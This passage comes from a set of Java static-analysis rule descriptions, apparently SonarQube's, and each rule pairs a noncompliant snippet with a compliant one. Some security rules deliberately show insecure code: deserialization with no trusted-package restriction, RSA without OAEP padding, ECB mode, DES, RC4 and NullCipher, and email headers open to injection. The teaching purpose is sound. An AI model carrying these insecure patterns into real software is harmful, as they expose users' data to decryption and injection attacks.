ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
// no call to factory.setTrustedPackages(...);

Compliant Solution

ActiveMQConnectionFactory factory = new ActiveMQConnectionFactory("tcp://localhost:61616");
factory.setTrustedPackages(Arrays.asList("org.mypackage1", "org.mypackage2"));

See

java:S5785

Testing equality or nullness with JUnit's assertTrue() or assertFalse() should be simplified to the corresponding dedicated assertion.

Noncompliant Code Example

Assert.assertTrue(a.equals(b));
Assert.assertTrue(a == b);
Assert.assertTrue(a == null);
Assert.assertTrue(a != null);
Assert.assertFalse(a.equals(b));

Compliant Solution

Assert.assertEquals(a, b);
Assert.assertSame(a, b);
Assert.assertNull(a);
Assert.assertNotNull(a);
Assert.assertNotEquals(a, b);
java:S1186

There are several reasons for a method not to have a method body:

  • It is an unintentional omission, and should be fixed to prevent an unexpected behavior in production.
  • It is not yet, or never will be, supported. In this case an UnsupportedOperationException should be thrown.
  • The method is an intentionally-blank override. In this case a nested comment should explain the reason for the blank override.

Noncompliant Code Example

public void doSomething() {
}

public void doSomethingElse() {
}

Compliant Solution

@Override
public void doSomething() {
  // Do nothing because of X and Y.
}

@Override
public void doSomethingElse() {
  throw new UnsupportedOperationException();
}

Exceptions

Default (no-argument) constructors are ignored when there are other constructors in the class, as are empty methods in abstract classes.

public abstract class Animal {
  void speak() {  // default implementation ignored
  }
}
java:S2153

Boxing is the process of putting a primitive value into an analogous object, such as creating an Integer to hold an int value. Unboxing is the process of retrieving the primitive value from such an object.

Since the original value is unchanged during boxing and unboxing, there's no point in doing either when not needed. This also applies to autoboxing and auto-unboxing (when Java implicitly handles the primitive/object transition for you).

Noncompliant Code Example

public void examineInt(int a) {
  //...
}

public void examineInteger(Integer a) {
  // ...
}

public void func() {
  int i = 0;
  Integer iger1 = Integer.valueOf(0);
  double d = 1.0;

  int dIntValue = new Double(d).intValue(); // Noncompliant

  examineInt(new Integer(i).intValue()); // Noncompliant; explicit box/unbox
  examineInt(Integer.valueOf(i));  // Noncompliant; boxed int will be auto-unboxed

  examineInteger(i); // Compliant; value is boxed but not then unboxed
  examineInteger(iger1.intValue()); // Noncompliant; unboxed int will be autoboxed

  Integer iger2 = new Integer(iger1); // Noncompliant; unnecessary unboxing, value can be reused
}

Compliant Solution

public void examineInt(int a) {
  //...
}

public void examineInteger(Integer a) {
  // ...
}

public void func() {
  int i = 0;
  Integer iger1 = Integer.valueOf(0);
  double d = 1.0;

  int dIntValue = (int) d;

  examineInt(i);

  examineInteger(i);
  examineInteger(iger1);
}
java:S3242

For maximum reusability, methods should accept parameters with as little specialization as possible. So unless specific features from a child class are required by a method, a type higher up the class hierarchy should be used instead.

Noncompliant Code Example

public void printSize(ArrayList<Object> list) {  // Collection can be used instead
    System.out.println(list.size());
}

public static void loop(List<Object> list) { // java.lang.Iterable can be used instead
   for (Object o : list) {
     o.toString();
  }
}

Compliant Solution

public void printSize(Collection<?> list) {  // Collection can be used instead
    System.out.println(list.size());
}

public static void loop(Iterable<?> list) { // java.lang.Iterable can be used instead
   for (Object o : list) {
     o.toString();
  }
}

Exceptions

Parameters in non-public methods are not checked, because such methods are not intended to be generally reusable. java.lang.String parameters are excluded, because String is immutable and can not be always substituted for more generic type. Parameters used in any other context than method invocation or enhanced for loop are also excluded.

java:S1065

If a label is declared but not used in the program, it can be considered as dead code and should therefore be removed.

This will improve maintainability as developers will not wonder what this label is used for.

Noncompliant Code Example

void foo() {
  outer: //label is not used.
  for(int i = 0; i<10; i++) {
    break;
  }
}

Compliant Solution

void foo() {
  for(int i = 0; i<10; i++) {
    break;
  }
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
java:S2274

According to the documentation of the Java Condition interface:

When waiting upon a Condition, a "spurious wakeup" is permitted to occur, in general, as a concession to the underlying platform semantics. This has little practical impact on most application programs as a Condition should always be waited upon in a loop, testing the state predicate that is being waited for. An implementation is free to remove the possibility of spurious wakeups but it is recommended that applications programmers always assume that they can occur and so always wait in a loop.

The same advice is also found for the Object.wait(...) method:

waits should always occur in loops, like this one:

synchronized (obj) {
  while (<condition does not hold>){
    obj.wait(timeout);
  }
   ... // Perform action appropriate to condition
}

Noncompliant Code Example

synchronized (obj) {
  if (!suitableCondition()){
    obj.wait(timeout);   //the thread can wake up even if the condition is still false
  }
   ... // Perform action appropriate to condition
}

Compliant Solution

synchronized (obj) {
  while (!suitableCondition()){
    obj.wait(timeout);
  }
   ... // Perform action appropriate to condition
}

See

  • CERT THI03-J. - Always invoke wait() and await() methods inside a loop
java:S5786

JUnit5 is more tolerant regarding the visibilities of Test classes than JUnit4, which required everything to be public.

In this context, JUnit5 test classes can have any visibility but private, however, it is recommended to use the default package visibility, which improves readability of code.

Noncompliant Code Example

import org.junit.jupiter.api.Test;

public class MyClassTest { // Noncompliant - modifier can be removed
  @Test
  protected void test() { // Noncompliant - modifier can be removed
    // ...
  }
}

Compliant Solution

import org.junit.jupiter.api.Test;

class MyClassTest {
  @Test
  void test() {
    // ...
  }
}

Exceptions

This rule does not raise an issue about private visibility, because private test methods and classes are systematically ignored by JUnit5, without a proper warning. It's not a Code Smell but a Bug handled by the rule S5810.

See

java:S1066

Merging collapsible if statements increases the code's readability.

Noncompliant Code Example

if (file != null) {
  if (file.isFile() || file.isDirectory()) {
    /* ... */
  }
}

Compliant Solution

if (file != null && isFileOrDirectory(file)) {
  /* ... */
}

private static boolean isFileOrDirectory(File file) {
  return file.isFile() || file.isDirectory();
}
java:S2156

The difference between private and protected visibility is that child classes can see and use protected members, but they cannot see private ones. Since a final class will have no children, marking the members of a final class protected is confusingly pointless.

Note that the protected members of a class can also be seen and used by other classes that are placed within the same package, this could lead to accidental, unintended access to otherwise private members.

Noncompliant Code Example

public final class MyFinalClass {

  protected String name = "Fred";  // Noncompliant
  protected void setName(String name) {  // Noncompliant
    // ...
  }

Compliant Solution

public final class MyFinalClass {

  private String name = "Fred";
  public void setName(String name) {
    // ...
  }

Exceptions

Members annotated with Guava's @VisibleForTesting annotation are ignored, as it indicates that visibility has been purposely relaxed to make the code testable.

public final class MyFinalClass {
  @VisibleForTesting
  protected Logger logger; // Compliant

  @VisibleForTesting
  protected int calculateSomethingComplex(String input) { // Compliant
    // ...
  }
}
java:S2277

Without OAEP in RSA encryption, it takes less work for an attacker to decrypt the data or infer patterns from the ciphertext. This rule logs an issue as soon as a literal value starts with RSA/NONE.

Noncompliant Code Example

Cipher rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");

Compliant Solution

Cipher rsa = javax.crypto.Cipher.getInstance("RSA/ECB/OAEPWITHSHA-256ANDMGF1PADDING");

See

Deprecated

This rule is deprecated; use S5542 instead.

java:S3366

In single-threaded environments, the use of this in constructors is normal, and expected. But in multi-threaded environments, it could expose partially-constructed objects to other threads, and should be used with caution.

The classic example is a class with a static list of its instances. If the constructor stores this in the list, another thread could access the object before it's fully-formed. Even when the storage of this is the last instruction in the constructor, there's still a danger if the class is not final. In that case, the initialization of subclasses won't be complete before this is exposed.

This rule raises an issue when this is assigned to any globally-visible object in a constructor, and when it is passed to the method of another object in a constructor

Noncompliant Code Example

public class Monument {

  public static final List<Monument> ALL_MONUMENTS = new ArrayList()<>;
  // ...

  public Monument(String location, ...) {
    ALL_MONUMENTS.add(this);  // Noncompliant; passed to a method of another object

    this.location = location;
    // ...
  }
}

Exceptions

This rule ignores instances of assigning this directly to a static field of the same class because that case is covered by S3010.

See

  • CERT, TSM01-J. - Do not let the this reference escape during object construction
  • CERT, TSM03-J. - Do not publish partially initialized objects
java:S5783

When verifying that code raises an exception, a good practice is to avoid having multiple method calls inside the tested code, to be explicit about what is exactly tested.

When two of the methods can raise the same checked exception, not respecting this good practice is a bug, since it is not possible to know what is really tested.

You should make sure that only one method can raise the expected checked exception in the tested code.

Noncompliant Code Example

@Test
public void testG() {
  // Do you expect g() or f() throwing the exception?
  assertThrows(IOException.class, () -> g(f(1)) ); // Noncompliant
}

@Test
public void testGTryCatchIdiom() {
  try { // Noncompliant
    g(f(1));
    Assert.fail("Expected an IOException to be thrown");
  } catch (IOException e) {
    // Test exception message...
  }
}

int f(int x) throws IOException {
  // ...
}

int g(int x) throws IOException {
  // ...
}

Compliant Solution

@Test
public void testG() {
  int y = f(1);
  // It is explicit that we expect an exception from g() and not f()
  assertThrows(IOException.class, () -> g(y) );
}

@Test
public void testGTryCatchIdiom() {
  int y = f(1);
  try {
    g(y);
    Assert.fail("Expected an IOException to be thrown");
  } catch (IOException e) {
    // Test exception message...
  }
}
java:S1188

Anonymous classes are a very convenient and compact way to inject a behavior without having to create a dedicated class. But those anonymous inner classes should be used only if the behavior to be injected can be defined in a few lines of code, otherwise the source code can quickly become unreadable.

java:S5300

Sending emails is security-sensitive and can expose an application to a large range of vulnerabilities.

Information Exposure

Emails often contain sensitive information which might be exposed to an attacker if he can add an arbitrary address to the recipient list.

Spamming / Phishing

Malicious user can abuse email based feature to send spam or phishing content.

Dangerous Content Injection

Emails can contain HTML and JavaScript code, thus they can be used for XSS attacks.

Email Headers Injection

Email fields such as subject, to, cc, bcc, from are set in email "headers".  Using unvalidated user input to set those fields might allow attackers to inject new line characters in headers to craft malformed SMTP requests. Although modern libraries are filtering new line character by default, user data used in email "headers" should always be validated.

In the past, it has led to the following vulnerabilities:

Ask Yourself Whether

  • Unvalidated user input are used to set email headers.
  • Email content contains data provided by users and it is not sanitized.
  • Email recipient list or body are based user inputs.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Use an email library which sanitizes headers (java.mail >= 1.5.6).
  • Use html escape functions to sanitize every piece of data used to in the email body.
  • Verify application logic to make sure that email base feature can not be abuse to:
    • Send arbitrary email for spamming or fishing
    • Disclose sensitive email content

Sensitive Code Example

import javax.mail.*;
import javax.mail.internet.MimeMessage;

public class Main {
    public static void sendEmail (Session session, String subject) throws MessagingException{
        Message message = new MimeMessage(session);  // Sensitive

        // For example the setSubject method is vulnerable to Header injection before
        // version 1.5.6 of javamail
        message.setSubject(subject);
        // ...
    }
}

See

Deprecated

This rule is deprecated, and will eventually be removed.

java:S5542

To perform secure cryptography, operation modes and padding scheme are essentials and should be used correctly according to the encryption algorithm:

  • For block cipher encryption algorithms (like AES), the GCM (Galois Counter Mode) mode that works internally with zero/no padding scheme, is recommended. At the opposite, these modes and/or schemes are highly discouraged:
    • Electronic Codebook (ECB) mode is vulnerable because it doesn't provide serious message confidentiality: under a given key any given plaintext block always gets encrypted to the same ciphertext block.
    • Cipher Block Chaining (CBC) with PKCS#5 padding (or PKCS#7) is vulnerable to padding oracle attacks.
  • RSA encryption algorithm should be used with the recommended padding scheme (OAEP)

Noncompliant Code Example

Cipher c0 = Cipher.getInstance("AES"); // Noncompliant: by default ECB mode is chosen
Cipher c1 = Cipher.getInstance("AES/ECB/NoPadding"); // Noncompliant: ECB doesn't provide serious message confidentiality
Cipher c3 = Cipher.getInstance("Blowfish/ECB/PKCS5Padding"); // Noncompliant: ECB doesn't provide serious message confidentiality
Cipher c4 = Cipher.getInstance("DES/ECB/PKCS5Padding"); // Noncompliant: ECB doesn't provide serious message confidentiality

Cipher c6 = Cipher.getInstance("AES/CBC/PKCS5Padding"); // Noncompliant: CBC with PKCS5 is vulnerable to oracle padding attacks
Cipher c7 = Cipher.getInstance("Blowfish/CBC/PKCS5Padding"); // Noncompliant: CBC with PKCS5 is vulnerable to oracle padding attacks
Cipher c8 = Cipher.getInstance("DES/CBC/PKCS5Padding"); // Noncompliant: CBC with PKCS5 is vulnerable to oracle padding attacks
Cipher c9 = Cipher.getInstance("AES/CBC/PKCS7Padding"); // Noncompliant: CBC with PKCS7 is vulnerable to oracle padding attacks
Cipher c10 = Cipher.getInstance("Blowfish/CBC/PKCS7Padding"); // Noncompliant: CBC with PKCS7 is vulnerable to oracle padding attacks
Cipher c11 = Cipher.getInstance("DES/CBC/PKCS7Padding"); // Noncompliant: CBC with PKCS7 is vulnerable to oracle padding attacks

Cipher c14 = Cipher.getInstance("RSA/NONE/NoPadding"); // Noncompliant: RSA without OAEP padding scheme is not recommanded

Compliant Solution

// Recommended for block ciphers
Cipher c5 = Cipher.getInstance("AES/GCM/NoPadding"); // Compliant

// Recommended for RSA
Cipher c15 = Cipher.getInstance("RSA/None/OAEPWithSHA-1AndMGF1Padding"); // Compliant
Cipher c16 = Cipher.getInstance("RSA/None/OAEPWITHSHA-256ANDMGF1PADDING"); // Compliant

See

java:S1067

The complexity of an expression is defined by the number of &&, || and condition ? ifTrue : ifFalse operators it contains.

A single expression's complexity should not become too high to keep the code readable.

Noncompliant Code Example

With the default threshold value of 3:

if (((condition1 && condition2) || (condition3 && condition4)) && condition5) { ... }

Compliant Solution

if ( (myFirstCondition() || mySecondCondition()) && myLastCondition()) { ... }

Exceptions

No issue is reported inside equals methods, because it is common to compare all the fields of a class for equality inside this kind of method.

java:S2276

If Thread.sleep(...) is called when the current thread holds a lock, it could lead to performance and scalability issues, or even worse to deadlocks because the execution of the thread holding the lock is frozen. It's better to call wait(...) on the monitor object to temporarily release the lock and allow other threads to run.

Noncompliant Code Example

public void doSomething(){
  synchronized(monitor) {
    while(notReady()){
      Thread.sleep(200);
    }
    process();
  }
  ...
}

Compliant Solution

public void doSomething(){
  synchronized(monitor) {
    while(notReady()){
      monitor.wait(200);
    }
    process();
  }
  ...
}

See

  • CERT, LCK09-J. - Do not perform operations that can block while holding a lock
java:S5547

Strong cipher algorithms are cryptographic systems resistant to cryptanalysis, they are not vulnerable to well-known attacks like brute force attacks for example.

A general recommendation is to only use cipher algorithms intensively tested and promoted by the cryptographic community.

More specifically for block cipher, it's not recommended to use algorithm with a block size inferior than 128 bits.

Noncompliant Code Example

import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.NoSuchPaddingException;

public class test {

    public static void main(String[] args) {
      try
      {
        Cipher c1 = Cipher.getInstance("DES"); // Noncompliant: DES works with 56-bit keys allow attacks via exhaustive search
        Cipher c7 = Cipher.getInstance("DESede"); // Noncompliant: Triple DES is vulnerable to meet-in-the-middle attack
        Cipher c13 = Cipher.getInstance("RC2"); // Noncompliant: RC2 is vulnerable to a related-key attack
        Cipher c19 = Cipher.getInstance("RC4"); // Noncompliant: vulnerable to several attacks (see https://en.wikipedia.org/wiki/RC4#Security)
        Cipher c25 = Cipher.getInstance("Blowfish"); // Noncompliant: Blowfish use a 64-bit block size makes it vulnerable to birthday attacks

        NullCipher nc = new NullCipher(); // Noncompliant: the NullCipher class provides an "identity cipher" one that does not transform or encrypt the plaintext in any way.
      }
      catch(NoSuchAlgorithmException|NoSuchPaddingException e)
      {
      }
    }
}

Compliant Solution

import javax.crypto.Cipher;
import java.security.NoSuchAlgorithmException;
import javax.crypto.NoSuchPaddingException;

public class test {

    public static void main(String[] args) {
      try
      {
        Cipher c31 = Cipher.getInstance("AES/GCM/NoPadding"); // Compliant
      }
      catch(NoSuchAlgorithmException|NoSuchPaddingException e)
      {
      }
    }
}

See

java:S1068

If a private field is declared but not used in the program, it can be considered dead code and should therefore be removed. This will improve maintainability because developers will not wonder what the variable is used for.

Note that this rule does not take reflection into account, which means that issues will be raised on private fields that are only accessed using the reflection API.

Noncompliant Code Example

public class MyClass {
  private int foo = 42;

  public int compute(int a) {
    return a * 42;
  }

}

Compliant Solution

public class MyClass {
  public int compute(int a) {
    return a * 42;
  }
}

Exceptions

The Java serialization runtime associates with each serializable class a version number, called serialVersionUID, which is used during deserialization to verify that the sender and receiver of a serialized object have loaded classes for that object that are compatible with respect to serialization.

A serializable class can declare its own serialVersionUID explicitly by declaring a field named serialVersionUID that must be static, final, and of type long. By definition those serialVersionUID fields should not be reported by this rule:

public class MyClass implements java.io.Serializable {
  private static final long serialVersionUID = 42L;
}

Moreover, this rule doesn't raise any issue on annotated fields.

java:S2278

According to the US National Institute of Standards and Technology (NIST), the Data Encryption Standard (DES) is no longer considered secure:

Adopted in 1977 for federal agencies to use in protecting sensitive, unclassified information, the DES is being withdrawn because it no longer provides the security that is needed to protect federal government information.

Federal agencies are encouraged to use the Advanced Encryption Standard, a faster and stronger algorithm approved as FIPS 197 in 2001.

For similar reasons, RC2 should also be avoided.

Noncompliant Code Example

Cipher c = Cipher.getInstance("DESede/ECB/PKCS5Padding");

Compliant Solution

Cipher c = Cipher.getInstance("AES/GCM/NoPadding");

See

Deprecated

This rule is deprecated; use S5547 instead.

java:S2157

Simply implementing Cloneable without also overriding Object.clone() does not necessarily make the class cloneable. While the Cloneable interface does not include a clone method, it is required by convention, and ensures true cloneability. Otherwise the default JVM clone will be used, which copies primitive values and object references from the source to the target. I.e. without overriding clone, any cloned instances will potentially share members with the source instance.

Removing the Cloneable implementation and providing a good copy constructor is another viable (some say preferable) way of allowing a class to be copied.

Noncompliant Code Example

class Team implements Cloneable {  // Noncompliant
  private Person coach;
  private List<Person> players;
  public void addPlayer(Person p) {...}
  public Person getCoach() {...}
}

Compliant Solution

class Team implements Cloneable {
  private Person coach;
  private List<Person> players;
  public void addPlayer(Person p) { ... }
  public Person getCoach() { ... }

  @Override
  public Object clone() {
    Team clone = (Team) super.clone();
    //...
  }
}
java:S5669

Passing single null or primitive array argument to the variable arity method may not work as expected. In the case of null, it is not passed as array with single element, but the argument itself is null. In the case of a primitive array, if the formal parameter is Object..., it is passed as a single element array. This may not be obvious to someone not familiar with such corner cases, and it is probably better to avoid such ambiguities by explicitly casting the argument to the desired type.

Noncompliant Code Example

class A {
  public static void main(String[] args) {
    vararg(null);  // Noncompliant, prints "null"
    int[] arr = {1,2,3};
    vararg(arr);  // Noncompliant, prints "length: 1"
  }

  static void vararg(Object... s) {
    if (s == null) {
      System.out.println("null");
    } else {
      System.out.println("length: " + s.length);
    }
  }
}

Compliant Solution

class A {
  public static void main(String[] args) {
    vararg((Object) null); // prints 1
    Object[] arr = {1,2,3};
    vararg(arr); // prints 3
  }

  static void vararg(Object... s) {
    if (s == null) {
      System.out.println("null"); // not reached
    } else {
      System.out.println("length: " + s.length);
    }
  }
}
java:S2039

Failing to explicitly declare the visibility of a member variable could result it in having a visibility you don't expect, and potentially leave it open to unexpected modification by other classes.

Noncompliant Code Example

class Ball {
    String color="red";  // Noncompliant
}
enum A {
  B;
  int a;
}

Compliant Solution

class Ball {
    private String color="red";  // Compliant
}
enum A {
  B;
  private int a;
}

Exceptions

Members annotated with Guava's @VisibleForTesting annotation are ignored, as it indicates that visibility has been purposely relaxed to make the code testable.

class Cone {
  @VisibleForTesting
  Logger logger; // Compliant
}
java:S5304

Using environment variables is security-sensitive. For example, their use has led in the past to the following vulnerabilities:

Environment variables are sensitive to injection attacks, just like any other input.

Note also that environment variables can be exposed in multiple ways, storing sensitive information in them should be done carefully:

  • on Unix systems environment variables of one process can be read by another process running with the same UID.
  • environment variables might be forwarded to child processes.
  • application running in debug mode often exposes their environment variable.

This rule raises an issue when environment variables are read.

Ask Yourself Whether

  • Environment variables are used without being sanitized.
  • You store sensitive information in environment variables and other processes might be able to access them.

You are at risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Sanitize every environment variable before using its value.

If you store sensitive information in an environment variable, make sure that no other process can access them, i.e. the process runs with a separate user account and child processes don't have access to their parent's environment.

Don't run your application in debug mode if it has access to sensitive information, including environment variables.

Sensitive Code Example

public class Main {
    public static void main (String[] args) {
        System.getenv();  // Sensitive
        System.getenv("myvar");  // Sensitive

        ProcessBuilder processBuilder = new ProcessBuilder();
        Map<String, String> environment = processBuilder.environment();  // Sensitive
        environment.put("VAR", "value");

        Runtime.getRuntime().exec("ping", new String[]{"env=val"});   // Sensitive
    }
}

See

  • MITRE, CWE-526 - Information Exposure Through Environmental Variables
  • MITRE, CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Deprecated

This rule is deprecated, and will eventually be removed.

java:S2159

Comparisons of dissimilar types will always return false. The comparison and all its dependent code can simply be removed. This includes:

  • comparing an object with null
  • comparing an object with an unrelated primitive (E.G. a string with an int)
  • comparing unrelated classes
  • comparing an unrelated class and interface
  • comparing unrelated interface types
  • comparing an array to a non-array
  • comparing two arrays

Specifically in the case of arrays, since arrays don't override Object.equals(), calling equals on two arrays is the same as comparing their addresses. This means that array1.equals(array2) is equivalent to array1==array2.

However, some developers might expect Array.equals(Object obj) to do more than a simple memory address comparison, comparing for instance the size and content of the two arrays. Instead, the == operator or Arrays.equals(array1, array2) should always be used with arrays.

Noncompliant Code Example

interface KitchenTool { ... };
interface Plant {...}

public class Spatula implements KitchenTool { ... }
public class Tree implements Plant { ...}
//...

Spatula spatula = new Spatula();
KitchenTool tool = spatula;
KitchenTool [] tools = {tool};

Tree tree = new Tree();
Plant plant = tree;
Tree [] trees = {tree};


if (spatula.equals(tree)) { // Noncompliant; unrelated classes
  // ...
}
else if (spatula.equals(plant)) { // Noncompliant; unrelated class and interface
  // ...
}
else if (tool.equals(plant)) { // Noncompliant; unrelated interfaces
  // ...
}
else if (tool.equals(tools)) { // Noncompliant; array & non-array
  // ...
}
else if (trees.equals(tools)) { // Noncompliant; incompatible arrays
  // ...
}
else if (tree.equals(null)) { // Noncompliant
  // ...
}

See

  • CERT, EXP02-J. - Do not use the Object.equals() method to compare two arrays
java:S3369

Websphere, Tomcat, and JBoss web servers allow the definition of role-based access to servlets. It may not be granular enough for your purposes, but it's a start, and should be used at least as a base.

This rule raises an issue when a web.xml file has no <security-constraint> elements.

See

java:S1170

Making a public constant just final as opposed to static final leads to duplicating its value for every instance of the class, uselessly increasing the amount of memory required to execute the application.

Further, when a non-public, final field isn't also static, it implies that different instances can have different values. However, initializing a non-static final field in its declaration forces every instance to have the same value. So such fields should either be made static or initialized in the constructor.

Noncompliant Code Example

public class Myclass {
  public final int THRESHOLD = 3;
}

Compliant Solution

public class Myclass {
  public static final int THRESHOLD = 3;    // Compliant
}

Exceptions

No issues are reported on final fields of inner classes whose type is not a primitive or a String. Indeed according to the Java specification:

An inner class is a nested class that is not explicitly or implicitly declared static. Inner classes may not declare static initializers (§8.7) or member interfaces. Inner classes may not declare static members, unless they are compile-time constant fields (§15.28).

java:S2260

When the Java parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse.

java:S1171

Non-static initializers are rarely used, and can be confusing for most developers because they only run when new class instances are created. When possible, non-static initializers should be refactored into standard constructors or field initializers.

Noncompliant Code Example

class MyClass {
  private static final Map<String, String> MY_MAP = new HashMap<String, String>() {

    // Noncompliant - HashMap should be extended only to add behavior, not for initialization
    {
      put("a", "b");
    }

  };
}

Compliant Solution

class MyClass {
  private static final Map<String, String> MY_MAP = new HashMap<String, String>();

  static {
    MY_MAP.put("a", "b");
  }
}

or using Guava:

class MyClass {
  // Compliant
  private static final Map<String, String> MY_MAP = ImmutableMap.of("a", "b");
}
java:S4682

By definition, primitive types are not Objects and so they can't be null. Adding @CheckForNull or @Nullable on primitive types adds confusion and is useless.

This rule raises an issue when @CheckForNull or @Nullable is set on a method returning a primitive type: byte, short, int, long, float, double, boolean, char.

Noncompliant Code Example

@CheckForNull
boolean isFoo() {
 ...
}

Compliant Solution

boolean isFoo() {
 ...
}
java:S2141

Because Object implements hashCode, any Java class can be put into a hash structure. However, classes that define equals(Object) but not hashCode() aren't truly hash-able because instances that are equivalent according to the equals method can return different hashes.

Noncompliant Code Example

public class Student {  // no hashCode() method; not hash-able
  // ...

  public boolean equals(Object o) {
    // ...
  }
}

public class School {
  private Map<Student, Integer> studentBody = // okay so far
          new HashTable<Student, Integer>(); // Noncompliant

  // ...

Compliant Solution

public class Student {  // has hashCode() method; hash-able
  // ...

  public boolean equals(Object o) {
    // ...
  }
  public int hashCode() {
    // ...
  }
}

public class School {
  private Map<Student, Integer> studentBody = new HashTable<Student, Integer>();

  // ...
java:S1172

Unused parameters are misleading. Whatever the values passed to such parameters, the behavior will be the same.

Noncompliant Code Example

void doSomething(int a, int b) {     // "b" is unused
  compute(a);
}

Compliant Solution

void doSomething(int a) {
  compute(a);
}

Exceptions

The rule will not raise issues for unused parameters:

  • that are annotated with @javax.enterprise.event.Observes
  • in overrides and implementation methods
  • in interface default methods
  • in non-private methods that only throw or that have empty bodies
  • in annotated methods, unless the annotation is @SuppressWarning("unchecked") or @SuppressWarning("rawtypes"), in which case the annotation will be ignored
  • in overridable methods (non-final, or not member of a final class, non-static, non-private), if the parameter is documented with a proper javadoc.
@Override
void doSomething(int a, int b) {     // no issue reported on b
  compute(a);
}

public void foo(String s) {
  // designed to be extended but noop in standard case
}

protected void bar(String s) {
  //open-closed principle
}

public void qix(String s) {
  throw new UnsupportedOperationException("This method should be implemented in subclasses");
}

/**
 * @param s This string may be use for further computation in overriding classes
 */
protected void foobar(int a, String s) { // no issue, method is overridable and unused parameter has proper javadoc
  compute(a);
}

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
java:S2140

There is no need to multiply the output of Random's nextDouble method to get a random integer. Use the nextInt method instead.

This rule raises an issue when the return value of any of Random's methods that return a floating point value is converted to an integer.

Noncompliant Code Example

Random r = new Random();
int rand = (int)r.nextDouble() * 50;  // Noncompliant way to get a pseudo-random value between 0 and 50
int rand2 = (int)r.nextFloat(); // Noncompliant; will always be 0;

Compliant Solution

Random r = new Random();
int rand = r.nextInt(50);  // returns pseudo-random value between 0 and 50
java:S4449

When using null-related annotations at global scope level, for instance using javax.annotation.ParametersAreNonnullByDefault (from JSR-305) at package level, it means that all the parameters to all the methods included in the package will, or should, be considered Non-null. It is equivalent to annotating every parameter in every method with non-null annotations (such as @Nonnull).

The rule raises an issue every time a parameter could be null for a method invocation, where the method is annotated as forbidding null parameters.

Noncompliant Code Example

@javax.annotation.ParametersAreNonnullByDefault
class A {

  void foo() {
    bar(getValue()); // Noncompliant - method 'bar' do not expect 'null' values as parameter
  }

  void bar(Object o) { // 'o' is by contract expected never to be null
    // ...
  }

  @javax.annotation.CheckForNull
  abstract Object getValue();
}

Compliant Solution

Two solutions are possible:

  • The signature of the method is correct, and null check should be done prior to the call.
  • The signature of the method is not coherent and should be annotated to allow null values being passed as parameter
@javax.annotation.ParametersAreNonnullByDefault
abstract class A {

  void foo() {
      Object o = getValue();
      if (o != null) {
        bar(o); // Compliant - 'o' can not be null
      }
  }

  void bar(Object o) {
    // ...
  }

  @javax.annotation.CheckForNull
  abstract Object getValue();
}

or

@javax.annotation.ParametersAreNonnullByDefault
abstract class A {

  void foo() {
    bar(getValue());
  }

  void bar(@javax.annotation.Nullable Object o) { // annotation was missing
    // ...
  }

  @javax.annotation.CheckForNull
  abstract Object getValue();
}
java:S5411

When boxed type java.lang.Boolean is used as an expression it will throw NullPointerException if the value is null as defined in Java Language Specification §5.1.8 Unboxing Conversion.

It is safer to avoid such conversion altogether and handle the null value explicitly.

Noncompliant Code Example

Boolean b = getBoolean();
if (b) {  // Noncompliant, it will throw NPE when b == null
  foo();
} else {
  bar();
}

Compliant Solution

Boolean b = getBoolean();
if (Boolean.TRUE.equals(b)) {
  foo();
} else {
  bar();  // will be invoked for both b == false and b == null
}

See

* Java Language Specification §5.1.8 Unboxing Conversion

java:S2143

The old, much-derided Date and Calendar classes have always been confusing and difficult to use properly, particularly in a multi-threaded context. JodaTime has long been a popular alternative, but now an even better option is built-in. Java 8's JSR 310 implementation offers specific classes for:

Class Use for
LocalDate a date, without time of day, offset, or zone
LocalTime the time of day, without date, offset, or zone
LocalDateTime the date and time, without offset, or zone
OffsetDate a date with an offset such as +02:00, without time of day, or zone
OffsetTime the time of day with an offset such as +02:00, without date, or zone
OffsetDateTime the date and time with an offset such as +02:00, without a zone
ZonedDateTime the date and time with a time zone and offset
YearMonth a year and month
MonthDay month and day
Year/MonthOfDay/DayOfWeek/... classes for the important fields
DateTimeFields stores a map of field-value pairs which may be invalid
Calendrical access to the low-level API
Period a descriptive amount of time, such as "2 months and 3 days"

Noncompliant Code Example

Date now = new Date();  // Noncompliant
DateFormat df = new SimpleDateFormat("dd.MM.yyyy");
Calendar christmas  = Calendar.getInstance();  // Noncompliant
christmas.setTime(df.parse("25.12.2020"));

Compliant Solution

LocalDate now = LocalDate.now();  // gets calendar date. no time component
LocalTime now2 = LocalTime.now(); // gets current time. no date component
LocalDate christmas = LocalDate.of(2020,12,25);
java:S4201

There's no need to null test in conjunction with an instanceof test. null is not an instanceof anything, so a null check is redundant.

Noncompliant Code Example

if (x != null && x instanceof MyClass) { ... }  // Noncompliant

if (x == null || ! x instanceof MyClass) { ... } // Noncompliant

Compliant Solution

if (x instanceof MyClass) { ... }

if (! x instanceof MyClass) { ... }
java:S1174

The contract of the Object.finalize() method is clear: only the Garbage Collector is supposed to call this method.

Making this method public is misleading, because it implies that any caller can use it.

Noncompliant Code Example

public class MyClass {

  @Override
  public void finalize() {    // Noncompliant
    /* ... */
  }
}

See

java:S2142

InterruptedExceptions should never be ignored in the code, and simply logging the exception counts in this case as "ignoring". The throwing of the InterruptedException clears the interrupted state of the Thread, so if the exception is not handled properly the fact that the thread was interrupted will be lost. Instead, InterruptedExceptions should either be rethrown - immediately or after cleaning up the method's state - or the thread should be re-interrupted by calling Thread.interrupt() even if this is supposed to be a single-threaded application. Any other course of action risks delaying thread shutdown and loses the information that the thread was interrupted - probably without finishing its task.

Similarly, the ThreadDeath exception should also be propagated. According to its JavaDoc:

If ThreadDeath is caught by a method, it is important that it be rethrown so that the thread actually dies.

Noncompliant Code Example

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) { // Noncompliant; logging is not enough
    LOGGER.log(Level.WARN, "Interrupted!", e);
  }
}

Compliant Solution

public void run () {
  try {
    while (true) {
      // do stuff
    }
  }catch (InterruptedException e) {
    LOGGER.log(Level.WARN, "Interrupted!", e);
    // Restore interrupted state...
    Thread.currentThread().interrupt();
  }
}

See

